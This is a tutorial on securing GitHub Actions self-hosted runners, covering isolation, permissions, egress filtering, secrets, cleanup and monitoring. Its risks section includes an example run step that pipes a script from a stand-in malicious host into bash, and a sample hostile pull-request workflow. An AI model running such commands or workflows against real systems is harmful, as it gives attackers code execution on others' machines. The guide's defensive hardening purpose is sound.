Skip to content
Français
Sync not enabled: your progress stays in this browser My learning
Select theme
Français

Securing self-hosted runners

By updated

Improve this page

Self-hosted runners offer flexibility but introduce security risks you have to manage yourself. This guide covers the essential hardening measures, from the system account to the cleanup between jobs.

What you will learn

  • Identify the risks specific to self-hosted runners
  • Isolate the runs by level of trust and by container
  • Restrict the permissions of the account, of Docker and of the network
  • Clean the environment between every job
  • Protect the secrets and monitor the runners

The risks of self-hosted runners

A GitHub-hosted runner is a disposable machine: GitHub creates it for a job, then destroys it. A self-hosted runner is a machine you own, connected to your network, and it survives the jobs. The three risks below all follow from that difference, and they are what the measures in this guide neutralise.

Execution of untrusted code

Any workflow can run arbitrary code on the runner: a run: block is nothing more than a shell script launched with the rights of the runner's service account. Anyone able to modify a file in .github/workflows/, or to get a PR modifying it merged, therefore gains command execution on your machine.

- run: |
# This code runs with the runner's rights
curl http://malicious.site/script.sh | bash

Data persistence

Unlike GitHub-hosted runners, the environment persists between jobs: the disk, the package manager caches and the Docker images stay in place. A malicious job can therefore drop something to trap the next one, and a legitimate job can leak what it handled. Three residues come up systematically:

  • files left by a previous job in the working directory;
  • changes to the service account profile, .bashrc or a binary dropped into the PATH;
  • cached credentials, ~/.npmrc, ~/.docker/config.json, package manager tokens.

Network access

The runner has access to the network it sits on: it inherits everything its subnet allows, including services that require no authentication because they believe themselves safe behind the perimeter firewall. A runner placed on the production network becomes an entry point to everything there:

  • internal databases;
  • private APIs;
  • other services.

The golden rule: no public runners

On a public repository, anyone can open a PR from a fork, and therefore propose a workflow file. GitHub does require an approval for a first-time contributor, but that approval is given by a human who mostly reviews the application code. The workflow below shows what an attacker gets if the approval goes through.

Never do this

Never configure a self-hosted runner on a public repository. Anyone can submit a PR and execute code on your runner.

# An attacker can submit this PR on a public repository
name: Malicious PR
on: pull_request
jobs:
attack:
runs-on: self-hosted # Runs on YOUR infrastructure
steps:
- run: |
# Secret theft, crypto mining, and so on
echo 'The PR code runs here'

Isolating the runners

Isolation is the first line of defence: limiting what a job can reach limits the damage of a compromised one. Three levels reinforce it.

1. Dedicated runners per level of trust

Routing happens through labels: a job only goes to a runner carrying all the labels it asks for. By reserving trusted runners for protected branches and sending PRs to untrusted runners with no internal network access and no production secrets, a hostile workflow runs on a machine with nothing worth stealing.

# Runners for trusted code (main, releases)
runs-on: [self-hosted, trusted]
# Runners for PRs (less trusted)
runs-on: [self-hosted, untrusted]

2. Running inside containers

The container: key runs every step of the job inside the given image, rather than directly on the host. The container can reduce access to the host filesystem, but does not guarantee that a job leaves no trace on the host. Mounted workspaces, caches, volumes, sockets and the shared kernel remain possible paths. Privileged containers and mounted Docker sockets significantly weaken the boundary. For untrusted contributions, prefer disposable execution environments with isolation appropriate to the threat.

jobs:
build:
runs-on: self-hosted
container:
image: node:22-alpine@sha256:c610fcdfb1d5b4740dd70c284ed3cb16bb857e0f7166196e36a5501df7a3aa32
# Container isolation

3. Ephemeral virtual machines

To reduce persistence between jobs, provision a fresh VM from a trusted image, register a runner for one job and destroy the VM afterwards. GitHub supports ephemeral runner registration, but the orchestrator must ensure the machine is actually created and destroyed. Startup time depends on the infrastructure.

runs-on: [self-hosted, linux, build-untrusted]
# The labels select a pool; they do not make the VM disposable.
# The orchestrator must provision and destroy it.

Restricting the permissions

A compromised runner must not be able to do much. You restrict on three fronts: the system account, Docker and the network.

On the machine

The runner must never run as root nor under your administration account: every run: inherits its rights. A dedicated service account, with no password and absent from the sudoers, limits a compromised job to its own working directory. If a task genuinely needs a privileged command, grant it one at a time in /etc/sudoers.d/ rather than handing over full sudo.

Terminal window
# Create a dedicated unprivileged user
sudo useradd -m -s /bin/bash github-runner
sudo usermod -L github-runner # No login
# Install the runner as that user
sudo -u github-runner ./config.sh ...
# No sudo for the runner
# Never add github-runner to the sudoers!

Docker without root

Adding the runner account to the docker group amounts to giving it root on the host: the daemon runs as root and a container can mount /. Rootless Docker removes that bypass by running the daemon under the runner account. Failing that, harden each container by dropping the capabilities and forbidding privilege escalation.

Terminal window
# Use rootless Docker where possible
# Or restrict with --security-opt
docker run --security-opt=no-new-privileges \
--cap-drop=ALL \
--read-only \
...

A restricted network

A runner only needs to resolve names (DNS) and to reach GitHub over HTTPS and the registries it pulls its dependencies from: it works outbound only, no inbound flow is required. Filtering the rest on egress cuts both secret exfiltration and lateral access to internal services. Test those rules before making them persistent, since an overly broad DROP also blocks the runner updates.

Terminal window
# Firewall: limit the outbound connections
iptables -A OUTPUT -o eth0 -p udp --dport 53 -j ACCEPT # DNS
iptables -A OUTPUT -o eth0 -p tcp --dport 53 -j ACCEPT # DNS (long answers)
iptables -A OUTPUT -o eth0 -p tcp --dport 443 -j ACCEPT # GitHub and registries (HTTPS)
iptables -A OUTPUT -o eth0 -j DROP # Block the rest

Cleaning between jobs

On a persistent runner, files, caches and processes may survive a job. Cleanup reduces some residue, but cannot restore trust after untrusted code has executed.

A cleanup script

Inspect residue before deciding what to remove. The commands below are non-destructive. They only show part of the runner's state.

Terminal window
# Inspect containers and volumes on this host.
docker ps -a
docker volume ls
# Inspect running processes and files under the runner account.
ps -ef
find /home/github-runner -maxdepth 2 -type f -print

Adjust the path to your actual runner account. Do not run rm -rf /tmp/* or docker system prune -af on a shared runner: these commands may remove another job's data. An inventory is not an integrity check; malicious processes may conceal their activity.

A terminated process does not normally pass its environment to the next process, but this does not prove that credentials were erased. A job may copy them into files, logs, surviving processes or shared services. The $GITHUB_ENV file is scoped to a job execution; it does not prove that values written through it were never persisted elsewhere. An unset in a cleanup script cannot remove those copies.

Real persistence goes through the filesystem: a job can write into the service account's .bashrc, drop a binary into a PATH directory, or leave a Git hook in a cloned repository. Those locations, services, scheduled tasks and mounts would also require inspection. The inventory above does not cover these mechanisms. If untrusted code has run, rebuild the runner from a trusted disposable image instead of claiming the host is clean.

Plan for interrupted jobs

A workflow cleanup step may not finish after cancellation or VM failure. A script that runs when the runner service starts or stops does not guarantee a fresh environment between jobs either.

For untrusted code, use an orchestrator that never assigns a second job to the same VM and can confirm its destruction. GitHub's ephemeral runner documentation distinguishes one-job registration from management of the machine executing that job.

Protecting the secrets

Secrets must never live hardcoded on the runner. Here is how to route and handle them without exposing them.

Environment variables

A secret placed in the runner account's .bashrc becomes readable by every job, including those that do not need it. Passed through a step's env: block, it is available to that step's processes. Those processes can copy or exfiltrate it, and log redaction is not guaranteed if a value is transformed. See GitHub's secrets documentation.

# ❌ Do not put secrets in the runner's scripts
# ~/.bashrc holding AWS_SECRET_ACCESS_KEY is a bad idea
# ✅ Use the GitHub secrets
- name: Deploy
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: aws s3 sync ./dist s3://bucket

System credentials

Credential files sitting on the machine, ~/.aws/credentials, ~/.kube/config or a service account, may be accessible to jobs running with the runner account's privileges, and their rotation depends on operations. OIDC can obtain temporary cloud credentials according to a trust policy. Credential lifetime and permissions depend on provider configuration, and misuse remains possible while they are valid.

Terminal window
# Use short-lived tokens through OIDC
# No static credentials on the runner
# See /en/docs/github-actions/security/oidc/

Sensitive files

When a tool requires a secret as a file, a tmpfs keeps it in RAM: nothing is written to disk, and the content disappears on reboot without leaving a recoverable block.

Terminal window
# Mount the secrets on a read-only tmpfs
mkdir -p /run/secrets
mount -t tmpfs -o size=10M,mode=0700 tmpfs /run/secrets

Monitoring the runners

Hardening is not enough: you also have to detect a compromise. Audit logs and system monitoring make abnormal behaviour visible.

Audit logs

The ACTIONS_RUNNER_DEBUG setting (repository secret or variable, value true) adds the runner diagnostic files to the run logs, useful to reconstruct what a job did after the fact. Keep it for diagnosis: those logs are verbose and expose paths and variable names you do not want left lying around permanently. It does not go in a workflow env: block.

Settings → Secrets and variables → Actions
ACTIONS_RUNNER_DEBUG = true

System monitoring

The runner logs say what the workflow asked for; the system audit says what actually ran on the machine. An auditd rule on execve records every command launched, which lets you spot a binary downloaded on the fly or an outbound connection matching no step.

Terminal window
# Watch for suspicious processes
auditctl -a always,exit -F arch=b64 -S execve -k commands
# Alert on unusual outbound connections
# (with a tool such as Falco, osquery, and so on)

GitHub alerts

Configure webhooks to be alerted about runs on self-hosted runners. The workflow_job event carries the labels the job asked for: you can therefore detect a workflow targeting your runners when it should not, without waiting to open the Actions tab.

A security checklist

These three lists gather the measures of the guide by the moment they apply: at installation, in day-to-day operation, and when making architecture decisions. The initial configuration points are the ones that are expensive to fix once the runner is in production.

Initial configuration

These five points are settled before the first job. They form the minimum baseline: a runner not ticking all of them should not receive a workflow.

  • Runner on a private repository only
  • A dedicated user with no sudo privileges
  • A firewall configured as an allow list
  • Rootless Docker, or Docker with restrictions
  • Audit logs enabled

Regular operations

A runner degrades over time: the agent falls behind, registration tokens linger, new workflows arrive without anyone reviewing them. These four checks are scheduled, otherwise they never happen.

  • Runner and OS updates
  • Rotation of the registration tokens
  • A review of the workflows that ran
  • A check of the audit logs

Architecture

These four choices cannot be fixed with a setting: they determine the exposure of your fleet. This is the level where you decide a PR job will never touch the same machine as a release job.

  • Runners separated by level of trust
  • Ephemeral runners for PRs
  • No static secrets on the runners
  • OIDC for cloud authentication

A complete secure pattern

This workflow illustrates partial permission separation with OIDC and a container. It does not prove the runner is trusted. Access to its runner group, base image, mounts and post-job disposal must also be checked.

name: Secure Build
on:
push:
branches: [main]
# No right by default: the job asks for the minimum
permissions: {}
jobs:
build:
runs-on: [self-hosted, linux, trusted]
permissions:
contents: read
id-token: write # For OIDC
container:
image: node:22-alpine@sha256:c610fcdfb1d5b4740dd70c284ed3cb16bb857e0f7166196e36a5501df7a3aa32
options: --read-only --security-opt=no-new-privileges
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
# OIDC instead of static secrets
- uses: aws-actions/configure-aws-credentials@e6de054238d6b7531b4efff3b6587d9aade6a06c # v6.2.3
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions
aws-region: eu-west-1
- run: npm ci
- run: npm test
- run: npm run build
# Explicit cleanup
- name: Cleanup
if: always()
run: rm -rf node_modules .npm

Can you reuse a runner after untrusted code has executed?

An external pull request has just run on an Atlas runner. The administrator clears the workspace and Docker caches, then declares the machine ready to sign a production image.

Cleaning does not prove the runner is trustworthy again. The previous job could have changed the service account, started a persistent process or accessed a host mount. Containers restrict some access, but they do not eliminate shared-kernel and mounted-volume risks. GitHub warns that untrusted code can persistently compromise a self-hosted runner.

Draw the path from external contribution to build, signing and publication. At every stage, identify which machine runs the code, which credentials it can obtain and which services it can reach.

Compare two approaches. You might keep persistent runners for trusted work and use disposable VMs for external contributions. Alternatively, you can isolate every sensitive operation, provided publishing permissions and network egress are properly separated. Runner labels alone do not control who is allowed to use a pool.

Now consider a cancelled job or a VM that stops unexpectedly. What destroys the environment? How do you prevent the next job from reusing it? A successful cleanup.sh run is not enough evidence.

Key points

  • A self-hosted runner never goes on a public repository: a fork PR would run arbitrary code at your place.
  • Isolate the runs: dedicated runners per level of trust, containers, ephemeral VMs.
  • The runner account carries no sudo; Docker runs rootless or with reduced capabilities.
  • Clean systematically between jobs, since the environment persists, unlike hosted runners.
  • No static secrets on the machine: prefer OIDC and short-lived tokens.

Check your understanding

Make sure the essentials of this guide are yours. The questions only cover what was explained here.

Knowledge check

Check what you have learned with this interactive quiz

6 questions
6 min
70% to pass

How it works

  • The timer starts when you click Start
  • Multiple choice, true/false and short answer questions
  • You can move between questions
  • Detailed results are shown at the end

Starts the quiz and the timer